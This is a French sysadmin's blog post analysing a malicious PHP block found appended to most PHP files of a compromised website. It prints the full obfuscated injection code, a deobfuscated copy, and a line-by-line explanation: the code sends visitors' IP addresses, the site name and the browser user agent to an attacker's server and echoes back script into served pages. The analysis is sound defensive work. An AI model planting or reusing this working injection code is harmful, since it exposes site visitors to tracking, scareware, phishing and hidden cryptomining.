Blog du grouik - Mot-clé - sécuritéLe blog du grouik. Memos d'un Admin sys linux windows, logiciels libres, imprimante 3D2024-01-16T12:12:27+00:00Gniearkurn:md5:87c2396a7331cd5cd18f8751d216ec7bDotclearAnalyse du code de compromission d'un site weburn:md5:ce15ec83881a87b11def0acc63fae42a2019-05-22T13:01:00+02:002019-05-22T12:16:47+02:00gniearkServeurs http web et autreshacksécurité <p><img src="https://blog-du-grouik.tinad.fr/public/.hacked_m.jpg" alt="hacked.jpg" style="display:table; margin:0 auto;" title="hacked.jpg, mai 2019" /></p>
<p>Voici le bloc de code trouvé à la fin de la majorité des fichiers PHP d'un site corrompu depuis au moins 2015.</p>
<p>Analysons le fonctionnement de cette charge malveillante, puis nous conclurons en essayant de deviner les motivations du pirate.</p>
<pre class="brush: php"><?php
#cc8f73#
error_reporting(0); @ini_set('display_errors',0); $wp_goik8 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_goik8) && !preg_match ('/bot/i', $wp_goik8))){
$wp_goik098="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_goik8);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_goik098); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_8goik = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_8goik = @file_get_contents($wp_goik098);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_8goik=@stream_get_contents(@fopen($wp_goik098, "r"));}}
if (substr($wp_8goik,1,3) === 'scr'){ echo $wp_8goik; }
#/cc8f73#
?></pre>
<h2>Qu'a fait le pirate pendant ces années? Essayons de comprendre sa charge?</h2>
<p>Un petit peu d'indentation, et je change les noms de variables pour y voir plus clair. En effet on trouve les variables:</p>
<ul>
<li>$wp_goik8</li>
<li>$wp_goik098</li>
<li>$wp_8goik</li>
</ul>
<p>qui se ressemblent. C'est probablement une volonté d’offuscation. Je les change respectivement par:</p>
<ul>
<li>$user_agent</li>
<li>$url_serveur_distant</li>
<li>$reponse_du_serveur_distant</li>
</ul>
<p>A présent le code devient compréhensible:</p>
<pre class="brush: php"><?php
#cc8f73#
error_reporting(0);
@ini_set('display_errors',0);
$user_agent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $user_agent) && !preg_match ('/bot/i', $user_agent))){
$url_serveur_distant="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($user_agent);
if (function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$url_serveur_distant);
curl_setopt ($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$reponse_du_serveur_distant = curl_exec ($ch); curl_close($ch);
} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {
$reponse_du_serveur_distant = @file_get_contents($url_serveur_distant);
}elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$reponse_du_serveur_distant=@stream_get_contents(@fopen($url_serveur_distant, "r"));
}
}
if (substr($reponse_du_serveur_distant,1,3) === 'scr'){
echo $reponse_du_serveur_distant;
}
#/cc8f73#
?></pre>
<h3>Il désactive les erreurs PHP:</h3>
<pre class="brush: bash">error_reporting(0);
@ini_set('display_errors',0);</pre>
<p>Normalement, sur un site en production, elles sont déjà désactivées. Mais un site respectant les bonnes pratiques n'aurait peut être pas été corrompu.</p>
<p>Le but du pirate est de rendre la compromission plus discrète. Un peu plus loin, on verra que la compromission envoie des données à un serveur distant (opéré par le pirate). Appelons le "ServeurDuPirate". Ce dernier peut être en surcharge par exemple. Si ServeurDuPirate distant est down, la page web compromise retournera une page blanche, et pas un message d'erreur, contenant notamment l'URL de ServeurDuPirate.</p>
<h3>Il s'intéresse au user agent.</h3>
<pre class="brush: bash">$user_agent = @$_SERVER['HTTP_USER_AGENT'];</pre>
<p>Le user agent est une donnée qui permet d'identifier le type de navigateur.</p>
<p>La condition:</p>
<pre class="brush: php">if (( preg_match ('/Gecko|MSIE/i', $user_agent) && !preg_match ('/bot/i', $user_agent))){
....
}</pre>
<p>Le code malveillant s'éxécute si l'user agent contient "Gecko" ou "MSIE". Autant dire dans 90% des cas. Cependant il élimine les bots. Probablement pour:</p>
<ul>
<li>Alléger la charge vers ServeurDuPirate,</li>
<li>Ne pas nuire au référencement du site (le chargement de la page reste rapide pour les bots, mais est ralenti dans les autres cas).</li>
<li>Éviter la détection de la compromission?</li>
</ul>
<h3>L'envoi de données vers son serveur.</h3>
<pre class="brush: php">$url_serveur_distant="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($user_agent);</pre>
<p>Il envoie une requête vers l'url http : / / web.https . com/web/ <sup>[<a href="https://blog-du-grouik.tinad.fr/post/2019/05/22/Analyse-d-un-piratage#wiki-footnote-1" id="rev-wiki-footnote-1">1</a>]</sup>avec des paramètres qui vont lui donner quelques infos:</p>
<ul>
<li>L'IP de l'internaute</li>
<li>HTTP_HOST: le nom du site (ici ce serait blog-du-grouik.tinad.fr)</li>
<li>le user_agent</li>
</ul>
<p>Tout le bloc:</p>
<pre class="brush: php">if (function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$url_serveur_distant);
curl_setopt ($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$reponse_du_serveur_distant = curl_exec ($ch); curl_close($ch);
} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {
$reponse_du_serveur_distant = @file_get_contents($url_serveur_distant);
}elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$reponse_du_serveur_distant=@stream_get_contents(@fopen($url_serveur_distant, "r"));
}</pre>
<p>sert à créer la requête http vers ServeurDuPirate, et mettre la réponse dans la variable $reponse_du_serveur_distant . Au passage, ça peut vous donner des idées <sup>[<a href="https://blog-du-grouik.tinad.fr/post/2019/05/22/Analyse-d-un-piratage#wiki-footnote-2" id="rev-wiki-footnote-2">2</a>]</sup> pour le cas où curl n'est pas installé .</p>
<h3>Traitement de la réponse:</h3>
<pre class="brush: php">if (substr($reponse_du_serveur_distant,1,3) === 'scr'){
echo $reponse_du_serveur_distant;
}</pre>
<p>Si la réponse commence par scr, celle-ci sera ajoutée à la fin de la page web donnée à l'internaute. Elle peut contenir du javascript qui sera interprété par le navigateur client. La réponse que fait ServeurDuPirate peut varier en fonction des paramètres IP, site, et user_agent.</p>
<h2>La motivation du pirate?</h2>
<p>Là, nous ne sommes pas dans une volonté de simplement détruire ou nuire bêtement <sup>[<a href="https://blog-du-grouik.tinad.fr/post/2019/05/22/Analyse-d-un-piratage#wiki-footnote-3" id="rev-wiki-footnote-3">3</a>]</sup></p>
<p>Le(s) pirate(s) voulai(en)t ici soit:</p>
<ul>
<li>Attaque ciblée, Faire une liste des gens qui s'intéressent au site et peut être même parfois tenter de compromettre les ordinateurs des visiteurs (via la possibilité d'injecter du javascript et une zéro day)?</li>
</ul>
<p>Non, peu probable, l'asso propriétaire du site n'a pas un si grand intérêt. L'IP des visiteurs est récoltée, mais pas les détails comme la page précise ou le refferer . De plus, même si la compromission n'avait pas été repérée rapidement, elle est loin d'être fine est discrète. Cette hypothèse est donc peu probable (mais pas impossible).</p>
<ul>
<li>Au hasard. Le site contenait plusieurs vieux CMS avec leurs failles connues. Un bot l'aurait peut être détecté.</li>
</ul>
<p>Et donc la motivation du pirate serait: Jouer du javascript sur les navigateurs des visiteurs.
Afficher sa publicité genre: encart qui prend toute la page "Votre PC est infecté, Contactez notre assistance au numéro...." (<a href="https://www.youtube.com/watch?v=gbYdQOde6EU">Micode en parle mieux que moi</a>i). Faire des redirections vers ses sites de pishing.
Discrètement, faire miner du bitcoin au navigateur du visiteur.</p>
<p>Enfin, on peut imaginer que cette compromission n'a jamais servi ou servait uniquement occasionnellement. Qu'elle pouvait même se louer.</p>
<div class="footnotes"><h4>Notes</h4>
<p>[<a href="https://blog-du-grouik.tinad.fr/post/2019/05/22/Analyse-d-un-piratage#rev-wiki-footnote-1" id="wiki-footnote-1">1</a>] Les espaces sont un ajout de ma part</p>
<p>[<a href="https://blog-du-grouik.tinad.fr/post/2019/05/22/Analyse-d-un-piratage#rev-wiki-footnote-2" id="wiki-footnote-2">2</a>] dans un développement légit</p>
<p>[<a href="https://blog-du-grouik.tinad.fr/post/2019/05/22/Analyse-d-un-piratage#rev-wiki-footnote-3" id="wiki-footnote-3">3</a>] J'ai vu des piratages qui modifiaient les méta-description seulement pour Google bot. L'idée dans ce cas là était de pénaliser de façon durable le classement du site dans le moteur de recherche.</p></div>